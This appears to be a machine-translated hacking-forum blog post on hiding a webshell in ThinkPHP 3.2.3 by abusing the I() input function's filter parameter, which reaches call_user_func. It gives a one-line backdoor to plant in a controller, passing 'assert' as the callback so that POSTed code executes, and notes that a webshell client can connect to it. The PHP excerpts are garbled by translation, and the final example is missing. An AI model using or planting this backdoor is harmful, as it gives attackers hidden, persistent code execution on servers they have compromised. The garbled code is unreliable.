ThinkPHP webshell skills
Someone on 90sec asked, I said there are still some tips that can't be used. I noticed when I audited TP last year. I simply analyzed the code and operation process.
The I function of thinkphp is the function for processing input. It is generally used as an I ('get. id') -- extracts the key-id value from the $ _ GET array. The post and cookie values are similar.
Let me see the code of the I function:
Function I ($ name, $ default = '', $ filter = null, $ datas = null ){... if (''= $ name) {// get all variables $ data = $ input; $ filters = isset ($ filter )? $ Filter: C ('default _ filter'); if ($ filters) {if (is_string ($ filters) {$ filters = explode (',', $ filters);} foreach ($ filters as $ filter) {$ data = array_map_recursive ($ filter, $ data ); // parameter filtering }}elseif (isset ($ input [$ name]) {// value operation $ data = $ input [$ name]; $ filters = isset ($ filter )? $ Filter: C ('default _ filter'); if ($ filters) {if (is_string ($ filters) {if (0 === strpos ($ filters, '/') {if (1! = Preg_match ($ filters, (string) $ data) {// supports regular expression verification return isset ($ default )? $ Default: null ;}} else {$ filters = explode (',', $ filters) ;}} elseif (is_int ($ filters )) {$ filters = array ($ filters);} if (is_array ($ filters) {foreach ($ filters as $ filter) {if (function_exists ($ filter )) {$ data = is_array ($ data )? Array_map_recursive ($ filter, $ data): $ filter ($ data); // parameter filtering} else {$ data = filter_var ($ data, is_int ($ filter )? $ Filter: filter_id ($ filter); if (false ===$ data) {return isset ($ default )? $ Default: null ;}}}... return $ data ;}
The third parameter of the I function is $ filter, which is used to filter variables.
In the new version (3.2.3), $ filter can input four types of values:
1. A filter function (string)
2. Strings composed of filter functions, separated by "|"
3. arrays composed of strings of some filter functions
4. Regular Expressions starting "/"
Visible code. If $ filter is empty, its DEFAULT value is C ('default _ filter '). We can see in the configuration file that DEFAULT_FILTER = htmlspecialchars
The above four cases are finally classified as two. One is the filter callback function, and the other is the filter regular expression. The regular expression is as follows:
If (0 === strpos ($ filters, '/') {if (1! = Preg_match ($ filters, (string) $ data) {// supports regular expression verification return isset ($ default )? $ Default: null ;}}
If the 0th characters are/, it indicates that the input is regular. Use preg_match for matching verification. If the two parameters do not match, the default value $ default is returned.
The callback function is the key to leaving a backdoor. The core is this section:
If (is_array ($ filters) {foreach ($ filters as $ filter) {if (function_exists ($ filter) {$ data = is_array ($ data )? Array_map_recursive ($ filter, $ data): $ filter ($ data); // parameter filtering} else {$ data = filter_var ($ data, is_int ($ filter )? $ Filter: filter_id ($ filter); if (false ===$ data) {return isset ($ default )? $ Default: null ;}}}}
If the function exists, array_map_recursive is called for execution. If the function does not exist, use the default php filter filter_var for filtering.
Follow up with the array_map_recursive function:
function array_map_recursive($filter, $data){ $result = array(); foreach ($data as $key => $val) { $result[$key] = is_array($val) ? array_map_recursive($filter, $val) : call_user_func($filter, $val); } return $result;}
It is obviously a Recursive Execution Process, and call_user_func is called at the end.
I still remember the php callback backdoor I said (https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html), ThinkPHP thick, actually provided us with a callback backdoor, so that we can leave webshell hidden.
Therefore, we only need to find a controller at will and insert it in the accessible method:
I('post.90sec', '', I('get.i'));
As mentioned above, the third parameter is $ filter. We only need to pass in the callback backdoor function name (assert) as the third parameter to construct a callback backdoor.
I will take the index method example under the default IndexController of thinkphp:
You can execute any Code as follows:
A callback backdoor, and the kitchen knife can also be connected.